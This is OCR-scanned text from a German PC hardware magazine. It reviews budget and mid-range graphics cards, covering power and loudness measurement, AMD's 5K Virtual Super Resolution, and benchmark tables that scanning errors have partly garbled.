MSI GTX 980 Ti Gaming 6G ШШЕ 238 (+11 96) 
KFA? Geforce GTX 980 Ti 239 (+12 %) 
Nvidia Geforce GTX Titan X En 241 (+13 %) 
Asus GTX 980 Ti Matrix Platinum [Eu 242 (+13 %) 
MSI GTX 980 Ti Lightning Eu 243 (+14 %) 
EVGA GTX 980 Ti Classified. aG 248 (+16 96) 
Asus GTX 980 Ti Strix ОСЗОС EXER 249 (4-16 %) 
Sapphire R9 Fury Tri-X ОС Eu 249 (+16 %) 
EVGA GTX 980 Ti SC+ ACX 2.0.- EXC 253 (+18 90) 
Palit GTX 980 Ti Super Jetstream EX 254 (+19 96 
Gigabyte GTX 980 Ti G1 Gaming Eu 254 (4-19 90) 
Gainward GTX 980 Ti Phoenix ,GS" EX 257 (+20 96) 
Inno 3D GTX 980 Ti iChill ХЗ Ultra Eu 257 («20 90) 
AMD Radeon R9 Fury X Eu 260 (+21 %) 
Sapphire R9 390 Nitro Eu 263 (+23 %) 
Zotac GTX 980 Ti AMP Extreme [X 282 (+32 96) 
Sapphire R9 390X Tri-X Eu 285 (+33 96 
Asus R9 390 Strix DC30C Es 290 (+36 96) 
Asus R9 390X Strix DC30C. E 316 (+48 96) 


% 


%) 
%) 
%) 
) 


% 


AMD Radeon Pro Duo XU 330 (+54 %) 
MSI R9 390X Gaming 8G E 347 («62 90) 


System: Adex PEX16IX PCI-Express-Extender und Chauvin Arnoux РОЗ Zangenamperemeter. Bemerkungen: In Crysis 3 zeigt sich, dass die Karten zum Teil wesentlich weniger Strom benötigen als unter Volllast. 
Auch das ist ein Verdienst der variablen Boost-Taktung, welche neben den MHz auch die Spannung anpasst und so hilft, Strom zu sparen. “Sapphire RX 480 Nitro+ OC 8GB/AGB mit , Quiet"-BIOS: 182/159 Watt. 


Watt 
< Besser 
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— Fortsetzung von Seite 18. 


uns seit 2009 im Einsatz und bereits da- 
vor hatten wir einen AGP-Extender ge- 
nutzt. Die Leistungsaufnahme der Grafik- 
karten messen wir also separat, das heißt 
der Wert wird von den restlichen Kom- 
ponenten des PCs nicht beeinflusst, so- 
fern dieser flott genug ist, die Grafikkarte 
auszulasten. In sehr langsamen Rechnern 
kann die Leistungsaufnahme bei niedri- 
geren Fps-Raten geringer ausfallen. 


Neben dem Leerlauf, in dem viele PCs 
die meiste Zeit verbringen, messen wir 
mit Anno 2070 das Spiel, welches sich 
in hohen Auflösungen über eine große 
Bandbreite an Karten bislang als am for- 
derndsten erwiesen hat, sowie Crysis 3 - 
letzteres als Test in 1080p mit gemäßigter 
Last. Abgerundet wird das Ganze durch 
den Extrem-Stresstest „PCGH VGA-Tool* 
(auch auf der Heft-DVD enthalten), einer 
weiterentwickelten Furmark-Variation, 
welche Kühlung und Spannungsversor- 
gung an ihre Grenzen bringt. 


Wie beim Stromverbrauch setzt PCGH 
auch bei der Lautstärke auf aussage- 
kräftige Messungen. Wir nutzen den 
hochsensible Psychoacoustic Loudness 
Analyzer NC10 von Neutrik Cortex Ins- 
truments. Unsere Angaben in der Maß- 
einheit „Sone“ geben im Unterschied zu 
Dezibel(A) die nach einem psychoakus- 
tischen Modell ermittelte Lautheit eines 
Geräusches in einer linearen Skala wie- 
der - doppelt so viele Sone sind doppelt 
so laut, während es bei der logarithmi- 
schen dB(A)-Skala grob bei 10 zusätzli- 
chen dB(A) zu einer Verdopplung des 
Schalldrucks kommt. 


Wir messen darüber hinaus in einem 
schallisolierten Raum, in welchem ohne 
weitere Geräuschquellen ein „Grund- 
rauschen“ von 0,1 Sone herrscht, was 
laut unserem Messgerät rund 15,6 dB(A) 
entspricht. Im Vergleich zu dem, was in 
einer typischen Wohnung (auch auf dem 
Lande) als leise wahrgenommen wird, ist 
das schon beinahe Grabesstille. 


Der Stand der Technik entwickelt sich 
stetig weiter, aber auch flotte Spieler- 
Grafikkarten müssen heute nicht mehr 
als 15 Watt bei der Anzeige des Windows- 
Desktops verbrauchen, auch einstellige 
Zahlen sind machbar, wie etwa die GTX 
1080 beweist - und dabei können die 
meisten Partnerkarten ganz und gar auf 
Lüfterdrehungen verzichten und bleiben 
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bei 0,0 Sone. Im Multi-Monitor- 
Betrieb und Video-Betrieb müs- 
sen natürlich weitere Schaltkreise 
arbeiten, sodass die Leistungsauf- 
nahme hier ansteigt - meist nur 
um wenige Watt, aber es gibt auch 
Ausnahmen, etwa wenn automa- 
tisch Video-Verschönerungsalgo- 
rithmen zum Einsatz kommen. 
Beim Stromverbrauch unter Last 
haben die Hersteller gelernt: Im- 


mer mehr sparsame Karten sind 
auf dem Markt, sodass auch reich- 
lich Spieleleistung mit weniger als 
200 Watt möglich ist. Insbesonde- 
re Anbieter von OC-Modellen mit 
opulenter Kühlung lassen die VBI- 
OS-Drossel weiter offen, sodass 
die Karten zwar ihren Boost-Takt 
länger oder konstant halten, je- 
doch oft Dutzende Watt mehr als 
vergleichbare Modelle benötigen. 


Die Bandbreite der Angebote ist 
riesig und auch in den aktuellen 
Paletten gibt es Ausreißer, die 
unter Last laut oder stromdurstig 
werden. Derzeit stehen in Sachen 
Lautheit und Stromverbrauch 
diverse Geforce-Modelle aus der 
1070-Reihe, aber auch einige GTX- 
1060- und RX-470-Versionen sehr 


gut da. (cs) 


ALPHACOOL 


Let your dreams come true 
with Alphacool 


Made by Matthias Brömel 
alias ModdingStylez 


ALPHACOOL - THE COOLING COMPANY 


kkarten, Kühler und Treiber 


АМОЙ RADEON EINSTELLUNGEN 


Konfigurieren Sie die Anzeigeneinstellungen zur Optimierung der Bildqualität... 


mm] Anzeige: 1 
03277, DISPLAYPORT (Radeon (ТМ) RX 470 Graphics) 


AMD FreeSync Virtual Super Resolution 
Nicht unterstützt Ein 


Farbtemperatur 
6500K 


The Elder Scrolls V: Skyrim Special Edition Optionen 


Grafikkarte und Auflösung 


Seitenverhältnis | 16:9 


eitbild 


Auflósungen |5120х2880 
1360x768 
1366x768 
1600x900 
1776x1000 


›|+|| 


Antialiasing 


Details 
1920x1080 
Niedrig Mittel |2560х1440 
—13200x 1800 


3840x2160 
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UHD-Display an einer Radeon RX 400: Aktivieren Sie die Virtual Super Resolution 
(VSR), dann dürfen Sie überall die hübsche wie fordernde 5K-Auflósung einstellen. 


5K-Benchmark: Skyrim (Original) 


5.120 x 2.880, FXAA/16:1 AF, max. Details inkl. HD-Texturen - , Secunda's Kiss" 


АХ 480/8G OC © 1.400/4.500 MHz ima ШЕШ 47,2 (4-152 96) 
RX 470/4G OC @ 1.400/4.200 MHz Egg 43,8 (+134 %) 
Asus RX 480 Strix OC/8G gres 43,3 (+132 %) 
AMD Radeon RX 480/8G ЗЕ 42,2 (+126 %) 
Sapphire RX 470 Nitro+ OC/4G Een Ex 39,2 (+110 90) 
AMD Radeon RX 470/46 Eq Ex 37,0 (+98 %) 
Asus RX 460 Strix OC/AG. EEE 19,2 (+3 96) 
AMD Radeon RX 460/4G | 18,7 (Basis) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 
GiByte DDR4-3000 (1T); Windows 10 x64 (1607), RSC 16.11.4 Bemerkungen: 14,75 
Megapixel pro Frame erfordern eine sehr hohe Rechenleistung. Skyrim ist spielbar. 


Min 2 Fps 


» Besser 


Grafikkarten 


www.pcgameshardware.de/grafikkarte 


Polaris (Radeon RX 400): 
Jetzt mit 5K-VSR 


till und heimlich hat eine neue 
G O. den Weg in AMDs 
Radeon-Software gefunden: Wer 
ein Ultra-HD-Display an einer Rade- 
on RX 480/470/460 betreibt, darf 
neuerdings VSR aktivieren. Wenige 
Sekunden spàter steht die Aufló- 
sung 5.120 x 2.880 alias 5K auf dem 
Windows-Desktop und in Spielen 
zur Verfügung. 


SK anstelle von 4K klingt zunächst 
nach einem kleinen Sprung, doch 
rund 14,75 Megapixel pro Frame 
entsprechen einer um 78 Prozent 
feineren Abtastung als bei Ultra 
HD (8,3 Mpix). Das Bild wird vor 
der Ausgabe auf UHD herunterge- 
rechnet. Hierfür sind die Display- 
Fähigkeiten von Polaris zwingend 
notwendig, weder Fiji noch andere 
AMD-Chips erlauben 5K-DSR, da- 
von haben wir uns anhand mehre- 
rer Testsysteme überzeugt. Wann 
genau AMD die Funktion imple- 
mentiert hat, ist unklar. 


Leistungstest und Ausblick 

Bereits vergangenen Monat prä- 
sentierten wir Ihnen einen 5K- 
Benchmark im Artikel „Speicher- 
Ratgeber“. Nun legen wir mit allen 


Bildvergleich: 5K hilft vor allem bei feinen Strukturen 


Die 5K-Auflósung führt gegenüber Ultra HD (4K) zu einem leichten Qualitátsgewinn, vor allem feine Strukturen profitieren sichtbar und flimmern weniger auffällig. 


1.920 x 1.080 (nativ) 
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5K-fähigen Polaris-Chips nach, mit 
und ohne Übertaktung der Pro- 
banden. Erneut verwenden wir 
Bethesdas Dauerbrenner TES 5: 
Skyrim, das gerade seinen fünften 
Geburtstag hinter sich gebracht 
hat. Der Titel ist in der Monsterauf- 
lösung durchaus spielbar, sofern 
Sie mindestens eine Radeon RX 
470 besitzen und auf MSAA verzich- 
ten. Viele andere Spiele, auch die 
genügsamen, entwickeln aufgrund 
der vielen Pixel einen großen Leis- 
tungshunger und ruckeln. 


Noch im Dezember wird AMD das 
nächste große Update der Radeon 
Software veröffentlichen, das ge- 
rüchteweise „Crimson Relive“ hei- 
ßen soll. Ob VSR in diesem Kontext 
weitere Updates erhalten wird, war 
bei Redaktionsschluss geheim. Hält 
AMD an der Vorgehensweise fest, 
neue VSR-Optionen an neue GPUs 
zu knüpfen, wird erst Vega erwei- 
terte Funktionalität bieten. Der 
High-End-Chip wird für das erste 
Halbjahr 2017 erwartet. PC Games 
Hardware bleibt selbstverständlich 
am Ball und wird den neuen Trei- 
ber kommenden Monat ausführlich 
durchleuchten. (rv) 
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GPU-Leistungsindex: Top 20 


BESSER > | Normierte Leistung 
ШИ Gesamt W FHD MWOHD WUHD | Preis-Leistungs-Index (PLV): Mehr ist besser 


Titan X 


Takt: 1.531 MHz, 10 GT/s 

RAM: 12 GiB GDDR5X 

Preis: Ca. 1.300 € (+0) 
PLV: 33,1 % 


Geforce 
GTX 1080 


Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 600 € (+0) 
PLV: 60,5 96 


Geforce 

GTX 1070 

Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 400 € (+0) 
PLV: 74,1% 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 430 € (+40) 
PLV: 63,8 % 


Radeon 
R9 Fury X 


Takt: 1.050 MHz, 1 GT/s 

RAM: 4 GiB HBM 

Preis: Ca. 420 € (-20) 
PLV: 62,4 % 


Geforce 

GTX 1060/6G 

Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 260 € (+0) 
PLV: 82,6 % 


Radeon 
RX 480/8G 


Takt: 1.266 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 250 € (-10) 
PLV: 84,4 % 


Radeon 
R9 390 


Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 300 € (+10) 
PLV: 69,8 % 


Radeon 

R9 290 

Takt: 947 MHz, 5 GT/s 

RAM: 4 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


Geforce 
GTX 1060/3G 


Takt: 1.709 MHz, 8 GT/s 

RAM: 3 GiB GDDR5 

Preis: Ca. 200 € (+0) 
РІМ: 93,7 % 


100% 
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к с 
ШИИНИН 10: % 


AOS: 47/41/33 
ACS: 89/64/36 
Bl: 209/146/83 
(3: 120/78/39 


CW: 95/87/51 
DMD: 113/79/42 
DM: 198/158/81 
TES: 236/212/130 


F1: 105/90/62 


FCP: 105/80/49 
GTA: 69/54/31 


843% 


МЕС: 114/81/44 
РО4: 152/108/55 OW: 221/152/80 


ROT: 104/75/42 


TTP: 133/102/61 


TWW: 68/53/32 
ECR: 120/75/36 
W3: 130/92/50 
COP: 50,6 


Radeon 

RX 470/8G 

Takt: 1.205 MHz, 6,6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 240 € (+0) 
PLV: 76,8 % 


I KIA 
EK 
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AOS: 44/36/30 
ACS: 77/54/29 
ВІ: 170/121/63 
C3: 95/60/30 


CW: 94/78/38 
DMD: 94/64/34 
DM: 193/133/66 
TES: 227173101 


F1: 98/82/53 
F04: 131/86/44 
FCP: 87/66/39 
GTA: 63/47/25 


D | — 


MEC: 97/68/36 


OW: 176/120/63 


TWW: 67/48/26 
ECR: 94/59/27 


Geforce 
GTX 970 
Takt: 1.178 MHz, 7 GT/s 


RAM: 3,5+0,5 GiB GDDR5* 
Preis: Ca. 210 € («0) 


= — T 
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AOS: 39/29/27 
АС$: 64/44/24 
В|: 143/98/50 
C3: 77/48/24 


CW: 93/62/30 
DMD: 75/50/26 F04: 106/70/36 
DM:159/103/51 FCP: 68/51/30 
TES: 197/143/84 СТА: 53/38/20 


F1: 81/66/42 


ROT: 84/59/31 ` W3:109/76/40 SCC 

TIP:105/79/47 СОР: 44,9 PLV: 86,5 % 
Radeon 
RX 470/4G 


МЕС: 77/53/28 
OW: 141/95/50 
ROT: 66/45/24 


TWW: 58/39/21 
ECR: 76/47/22 
W3: 87/59/31 


Takt: 1.205 MHz, 6,6 GT/s 
RAM: 4 GiB GDDR5 
Preis: Ca. 180 € (+0) 
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A05: 31/24/22 
ACS: 54/39/21 
ВІ: 143/99/51 
C3: 7447/23 


CW: 91/58/28 
DMD: 70/48/25 
DM: 146/95/47 
TES: 177/130/77 


F1: 75/62/40 
РО4: 100/67/35 
РСР: 60/47/29 
СТА: 45/34/19 


Д 0j 
TTP: 83/63/37 COP: 41,1 BIV:100% 
Radeon 
R9 280X 
Takt: 1.000 MHz, 6 GT/s 
МЕС: 69/48/20 TWW: 55/38/20 RAM: 3 GiB GDDR5 


OW: 134/90/47 
ROT: 62/44/24 


ECR: 72/45/21 
W3: 79/54/29 


Preis: Nicht lieferbar 
РМ: – 


=——F 60. % 
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AOS: 34/28/26 
ACS: 49/30/13 
В|: 150/101/53 


CW: 85/59/30 
DMD: 72/49/23 
DM: 170/110/56 


F1: 72/60/41 
F04: 82/57/29 
FCP: 58/47/31 


ТТР: 79/60/35 COP:37,5 
Radeon 
R9 380/4G 
Takt: 970 MHz, 5,7 GT/s 
МЕС: 33/24/11 TWW:46/31/7 RAM: 4 GiB GDDR5 


OW: 126/88/47 
ROT: 49/37/22 


ЕСА: 57/38/19 
W3: 75/54/31 


Preis: Ca. 170 € (-30) 


A 0 
C3: 71/47/24 TES: 132/104/66 СТА: 42/31/14 TTP: 81/62/38 COP: 59,8 PIV: 80,8 % 
Doo Gq: 
I BER Geforce 
с — ы 6ТХ 770/46 
с Т Takt: 1.124 MHz, 7 61% 
AOS: 30/21/20 CW: 74/45/21 F1: 61/49/31 MEC: 56/38/16 TWW: 43/28/15 RAM: 4 GiB GDDR5 


ACS: 47/31/16 DMD: 54/36/18 F04: 76/50/25 


OW: 100/67/35 


ECR: 53/33/15 


Preis: Nicht lieferbar 


ВІ: 113/72/36 DM: 115/73/36 FCP: 49/37/22 ROT: 46/31/17 W3: 61/41/22 РІМ: — 

C3: 56/35/17 TES: 144/102/58 СТА: 40/28/14 ТТР: 58/44/26 СОР: 32,3 x 
r Tm 

———s Е Ben 

Г „үг R9 380/26 
D Ar % Takt: 970 MHz, 5,5 GT/s 
А05: 27/22/21 CW: 65/41/20 F1: 63/52/33 MEC: 53/36/19 TWW: 35/24/13 RAM: 2 GiB GDDR5 


ACS: 4329/15 DMD: 61/40/20 F04:65/42/20 


OW: 98/66/34 


ЕСА: 44/28/13 


Ргеіѕ: Са. 155 Є (+0) 


ВІ: 111/70/34 DM: 145/91/44 РСР: 46/36/22 ROT: 43/31/18 W3: 60/41/22 РІМ: 77,2% 

(3: 51/32/15 TES: 118/87/51 СТА: 34/24/13 ТТР: 56/43/25 СОР: 46,3 E 

г _ ш 

Г ҥш бешке. 
Г “г GTX 1050 Ti 
Gww—n i % Takt: 1.392 MHz, 7 GT/s 
A0S: 27/22/21 CW: 74/48/23 F1: 55/46/30 МЕС: 47/32/18 TWW: 29/21/12 КАМ: 4 СІВ GDDR5 


ACS: 35/25/14 DMD: 58/40/21 FO4:63/4423 ОМ: 89/61/32 ЕСА: 43/29/14 Preis: Ca. 150 € (Neu) 
BI: 114/73/37 DM: 126/82/42 FCP: 46/37/23 ROT: 40/30/17 W3: 48/33/18 PLV: 77,8 % 

C3: 54/36/18 TES: 111/85/53 GTA: 34/26/14 TTP: 62/48/29 COP: 54,8 — 
НИ 55% 

EN :: ° °, Geforce 
BE 10,5 % GTX 770/26 
wass) Takt: 1.124 MHz, 7 GT/s 
AOS: 25/20/19 CW: 69/43/22 F1: 51/42/27 МЕС: 28/20/11 TWW: 27/20/11 RAM: 2 GiB GDDR5 


ACS: 33/21/11 DMD: 54/36/18 F04: 58/40/21 


OW: 82/57/29 


ECR: 40/26/13 


Preis: Nicht lieferbar 


В|: 106/68/34 DM: 118/77/38 FCP: 42/34/22 ROT: 38/28/16 W3: 45/32/17 РІМ: — 

C3: 50/33/16 TES: 103/79/49 GTA: 32/23/8 TTP: 58/44/27 COP: 48,9 ` 
mÓ LE 

SN A ° Radeon 
[———In RX 460/4G 
Kwwsss€aha. Takt: 1.200 MHz, 7 GT/s 
AOS: 27/20/13 CW: 70/43/20 F1:55/43/27 MEC: 3221/11 TWW: 40/25/6 RAM: 4 GiB GDDR5 


ACS: 45/28/6 
Bl: 108/69/34 
C3:53/33/16 


DMD: 47/30/14 
DM: 102/64/26 
TES: 135/96/54 


F04: 71/47/23 
FCP: 46/34/20 
СТА: 38/2716 


OW: 93/62/32 
ROT: 26/15/9 
ТТР: 55/41/24 


ЕСА: 49/30/13 
W3: 57/38/20 
СОР: 31,0 


Preis: Са. 130 € (Neu) 
PLV: 71,2 % 


НИНИ г: 


ни kl 

[ EL 

u р 

A0S: 26/2019 — CW:56/35/7 Е1:57/46/29 
ACS: 36/2412 ОМ0: 53/35/18 Е04: 58/37/17 
81:98/61/30 DM:121/77/37 ЕСР: 40/31/19 
Сз: 45/28/13 TES: 107/78/45 СТА: 30/21/11 


МЕС: 47/32/17 
OW: 85/58/29 
КОТ: 38/27/15 
ТТР: 50/38/22 


TWW: 31/21/11 
ЕСК: 39/25/12 
W3: 53/36/19 
СОР: 39,3 


Би 

bb 454 % * 3.584 МІВ (224 Bit) 
CAE + 512 MiB (32 Bit) 
ws 

AOS: 25/18/16 CW: 64/38/18 F1: 56/45/25 MEC: 31/23/11 TWW: 38/25/11 
ACS: 40/26/11 DMD: 46/32/16 F04: 69/45/23 OW: 90/60/31 ECR: 43/26/12 

BI: 106/67/33 DM: 105/66/31 FCP: 43/31/17 ROT: 33/22/13 W3: 54/37/19 
(3: 50/31/15 ТЕ$: 122/88/50 СТА: 34/2417 ТТР: 52/39/22 СОР: 28,5 
ВИ 

www. 

СЕИЛ 

Gw 35,5 % 

А05: 26/20/19 CW: 57/36/17 F1:57/46/29 MEC: 28/20/12 TWW: 31/21/7 


ACS: 36/24/11 
BI: 98/61/30 
C3: 45/28/14 


DMD: 52/35/16 
DM: 121/77/37 
TES: 107/77/45 


F04: 58/37/18 
FCP: 40/32/19 
GTA: 30/21/10 


OW: 86/58/30 
ROT: 38/27/10 
TTP: 50/38/23 


ЕСК: 39/25/12 
W3: 53/36/19 
СОР: 39,3 


G=— ELLE 


Gw 
[C 31,7% 
Fe 25 
А0$:18149 — CW: 52/34/17 

ACS: 28/18/6 ОМО: 40/26/13 

BI: 85/55/27 ОМ: 108/67/32 
C3:38/25/12 TES: 83/63/38 


F1: 35/30/19 
F04: 41/27/15 
FCP: 33/27/17 
GTA: 26/19/6 


МЕС: 22/1715 
OW: 66/45/23 
ROT: 27/20/11 
TTP: 44/35/21 


TWW: 24/17/5 
ECR: 30/20/10 
W3: 37/27/16 
СОР: 45,2 


Le з 5 5 


о 32,7 % 
[ 29.3 % 
ENG 21 % 
AOS: 20/16/15 СМ: 45/28/14 
ACS: 23/1518 DMD: 39/26/12 
BI: 76/48/23 DM: 89/56/27 

C3: 35/22/11 TES: 83/60/35 


F1: 42/34/21 
F04: 45/29/14 
FCP: 30/24/15 
GTA: 23/17/8 


MEC: 22/16/8 
OW: 63/44/22 
ROT: 28/20/9 

TTP: 39/30/18 


TWW: 23/15/5 
ECR: 30/19/9 
W3: 39/27/14 
COP: 32,0 


[EIER 


Gw; 
E 50.4 % 
Kw 7 % 
AOS:18/14/13 — CW:53/32/15 
ACS:29/19/8 ОМ: 34/23/11 

Bl: 86/55/27 DM: 64/41/19 


F1: 38/31/20 
FO4: 48/32/15 
FCP: 32/24/14 


MEC: 20/16/7 
OW: 66/44/22 
ROT: 21/14/7 


TWW: 26/17/9 
ECR: 35/21/10 
W3: 39/27/14 


C3:42/262 — TES:92/6788 — GTA:28208 — "rung СОР:17,5 
РИА 

ини A1 % 

E 5 

и i! 

AOS: 18/1118 CW: 4584 Р1:37/28/05 МЕС:19/1005 — TWW:16/10/3 
АС: 23/1318 ОМ0: 34/220 РО4: 45/27/13 OW: 63/43/20 ЕСҜ:30/19/2 
BI: 76/479 ОМ: 73/41/21 FCP:30/249 — 07:170137 М3:39/26/12 
C3:35/22/6  TES:83/60/34 6ТА:21/1318 TTP:39/30118 СОР: 32,0 
г кил 

E :› % 

Fe 255 % 

D 23.9 % 

А05: 18/13/12 — CW:42 262 — Р1:36/28/07 MEC22/7/0 — TWW:22/15/6 
ACS:28188 — DMD:3020/10 РО4:41/272/04 — OW:55/87/9 — ECR:29/8/8 
BIEGG/41/20 ` DM:543416 — FCP:27/21/12 — ROT.21/5/8 — W3:36/24/13 
Gamma  TES:78/57/37 — GTA:23H67  TTP:27/213 СОР:19,1 
LBE 

[r БЕ 

Гг 25.0: 

Pe 18,9% 

AOS:18/788 — 0652/32/15 — FI:3828/8 МЕС:16/8/0 TWW: 11/7/2 
ACS:19122 — DMD:27/7/ — FOA:48/32/13 — OW:664/22 — ECR:35/21/4 
BI: 86/55/26 ` ОМ: 46/30/15 FCP:3212413  ROT:11/103 W3: 39/27/14 
83:402600 TES:91/6637 — GTA28/8 — TTP:43/32118 — СОР:17,5 
N 2.5 

22.6 % 

А 

cel 

А05: 15/11/10 ` og — nos — MECIS/TG TWW: 17/1114 
ACS: 19/115 — DMD:28/18/0 — FO4:29/18/8 — OW:43D8/l4 ЕСҜ:20/12/6 
Haus — DM:G2/38/8 — FCP:2U6/]0 — ROT.20/4I — W3:22/15/8 
63:2347 ` TESSS9/4103 6ТА:17/1105 Т7Р:21/16/00 СОР:21,8 


Spiele-/Anwendungsnamen: Ashes o 


Ethan Carter Redux (ECR), The Witcher 3 (W3), Capture One Pro (CÓP) — 


System: Core i7-6800K @ 4,4 GHz rans: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1607); anisotroper Texturfilter konsequent auf „Hohe Qualität” (HQ-AF); Vsync/Framelocks aus 
the See? (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis З (C3), Crysis Warhead (CW), Deus Ex: Мапкіп 

Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer т The AU? Scrolls 5: Skyrim (TES), The Vanishing of 
20 Tests ап der Zahl! Angabe auf die nächste Ganzzahl gerundeter Fps, außer COP (Megapixel/s). 


Divided ( (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 
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r das kleine 
Weihnachtsgeld. E 


Mit den Feiertagen kommt etwas Freizeit, um den Lieblingsspielen zu frónen. Damit Sie die passende 
Grafikkarte unter den Weihnachtsbaum legen können, testen wir 17 Modelle bis rund 210 Euro. 


igh-End-Hardware ist verfüh- 
HA. doch für die meisten 
Spieler keine Option. Folgt man 
der im Oktober erhobenen Steam- 
Hardware-Umfrage, machen Gra- 
fikkarten des Typs Geforce GTX 
600/700/900 den  Lówenanteil 
aus - mit der GTX 960 und GTX 
970 als klare Führungskräfte. Zwar 
sieht es unter den Enthusiasten 
des PCGHX-Forums anders aus - 
hier sind High-End-Grafikkarten 
wesentlich beliebter -, dennoch 
geht es diesen Monat um die neue 
Einsteiger- und Mittelklasse: Grafik- 
karten zwischen rund 130 und 210 
Euro. Falls Sie an der Ober- bis En- 
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thusiastenklasse interessiert sind, 
finden Sie entsprechende Markt- 
übersichten in den PCGH-Ausga- 
ben 10/2016 (RX 480/8G vs. GTX 
1060/6G), sowie 08 und 09/2016 
(GTX 1070/1080). 


Preise und Leistung 

Wer sich für eine Grafikkarte zwi- 
schen 100 und 200 Euro interes- 
siert, kann mittlerweile überall auf 
neue Modelle zurückgreifen. Dazu 
raten wir auch, denn die GPU- 
Generationen Pascal (Nvidia) und 
Polaris (AMD) bieten neben neu- 
en Funktionen eine verbesserte 
Energie-Effizienz, welche gleichbe- 


deutend mit höheren Bildraten pro 
Watt ist. Lassen Sie daher die Altlas- 
ten in Form der GTX 950/960 und 
R7 370/R9 380(X) im Regal und 
werfen Sie stattdessen einen Blick 
auf unsere Probanden. Die Preis- 
Leistungs-Grafik auf der nächsten 
Seite sowie der komplette Leis- 
tungsindex auf Seite 25 offenba- 
ren, dass kaum ein Weg an der Ra- 
deon RX 470/4G und Geforce GTX 
1060/3G vorbeiführt. 
Redaktionsschluss knackte auch 
die erste RX 480 mit 4 GiByte die 
200-Euro-Marke. Falls Sie nicht vor 
potenziell hoher Lautstárke zurück- 
schrecken - das entsprechende 


Kurz vor 


Powercolor-Modell ,Red Dragon* 
bietet nur einen Lüfter - oder den 
Werkskühler ohnehin 
wartet hier ein Preisknaller auf Sie. 


tauschen, 


Geforce GTX 1060 (3 GiByte): Drei 
Vertreter von Nvidias 200-Euro-Klas- 
se imTest. Die GTX 1060 3GB, so der 
offizielle Nvidia-Name, setzt sich im 
PCGH-Leistungsindex knapp vor 
die RX 470/4G, wobei jedes Modell 
Stärken und Schwächen aufweist. 
Wie wir im Speicher-Ratgeber der 
PCGH 12/2016 dargelegt haben, ist 
es um die Zukunftstauglichkeit der 
Nvidia-Karte aufgrund der schon 
jetzt kritischen Speicherkapazität 
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Ai) 


Preis-Leistungs-Matrix: Grafikkarten bis 400 Euro 


PCGH-Leistungsindex 1.920 x 1.080 (Full HD), 19 Spiele normiert (Maximum: Nvidia Titan X-Pascal = 100) 


nicht gut bestellt. Wir raten von 
diesem Modell zugunsten einer 4- 
oder 6-GiByte-Karte ab, schließen 
aber nicht aus, dass Ihnen die GTX 
1060/3G eine gute und vor allem 
sparsame Übergangsgrafikkarte 
sein kann. Dennoch verzichten wir 
aus diesem Grund bei dieser Gra- 
fikkartenversion auf Auszeichnun- 
gen (Awards). 


Zwei der drei Testkarten ähneln 
sich stark: Sowohl Palit als auch 
KFA? setzen auf eine Platine ge- 
wöhnlicher Länge sowie, dazu pas- 
send, doppelt-axialer Belüftung. 
Die Zotac Mini hingegen orientiert 
sich an ITX-Maßen, trägt nur einen 
Lüfter und passt in ultrakompakte 
Gehäuse. Der Verzicht auf Heat- 
pipes - der Radiator besteht aus 
reinem Aluminium - führt dazu, 


www.pcgameshardware.de 


dass die Karte trotz nominell glei- 
cher Spezifikation nicht mit der 
Konkurrenz mithalten kann. Wäh- 
rend die Leistungsaufnahme aller 
drei Karten unter 130 Watt bleibt, 
erzielen Palit und KFA? dank der 
geringeren Temperatur etwas hö- 
here Boosts, fühlbar ist das jedoch 
nicht. Die Unterschiede bei der 
Lautheit wirken sich stärker auf 
das Empfinden und die Endnote 
aus, obwohl alle drei Modelle auf 
einen semi-aktiven Betriebsmodus 
verzichten. Während die Palit Dual 
im Leerlauf praktisch unhörbar ist 
(0,1 Sone Lautheit), erzeugen die 
beiden Lüfter bei der KFA? GTX 
1060 3GB OC gute 0,3 Sone. Die 
Zotac Mini arbeitet hingegen mit 
53 Prozent Drehkraft, was in unnö- 
tig lauten 1,2 Sone (1.600 U/Min.) 
resultiert. Immerhin: Forciert man 


1.2016); Grafikkarten unterhalb der Trendlinie bieten das beste Preis-Leistungs-Verhältnis. 


400 9 400 Grafikkarte PCGH-Index | Circa-Preis | = 
Full HD in Euro Кы 
Titan X (Pascal) 100,0 1.300 ET 
350 350 = 
1 | Geforce GTX 1070/8G 72,4 400 Ç 
2 | Geforce GTX 1060/6G 53,3 260 
Š 300 300 3 | Radeon RX 480/8G 50,1 250 
5 4 | Geforce GTX 1060/36 47,6 200 
ш 5 | Radeon R9 390 47,6 300 
B 250 250 
= 6 | Geforce GTX 970 45,4 210 
© 7 | Radeon RX 470/8G 44,1 240 
a 
200 De 200 | 8 | Radeon RX 470/4G 43,3 180 
9 | Radeon R9 380/4G 32,7 170 
9 10 | Вадеоп R9 380/26 30,1 155 CS 
150 150 | 11 | Geforce GTX 1050 Ti/4G 28,7 150 
12 | Geforce GTX 1050/2G 24,5 120 
= Ç 10 o ECAEa == 
0 10 20 40 50 60 70 80 90 100 aceon, i } 
x< 
d 


mithilfe eines Tuning-Tools nur 40 
% PWM, sinkt die Lautheit auf 0,3 
Sone. Unter Last liegen Palit und 
KFA? mit 1,4 Sone (74 °C) respekti- 
ve 1,5 Sone (70 °C) maximaler Laut- 
heit auf demselben guten Niveau. 
Die Mini-1060 erzeugt indessen bis 
zu 3,4 Sone Lautheit und wird 82 °C 
warm, ohne Silent-Reserven zu bie- 
ten. Wer übertakten möchte, findet 
bei KFA? knapp den bestbestück- 
ten Kühler. Fazit: Sparsame und 
schnelle Grafikkarten mit grenz- 
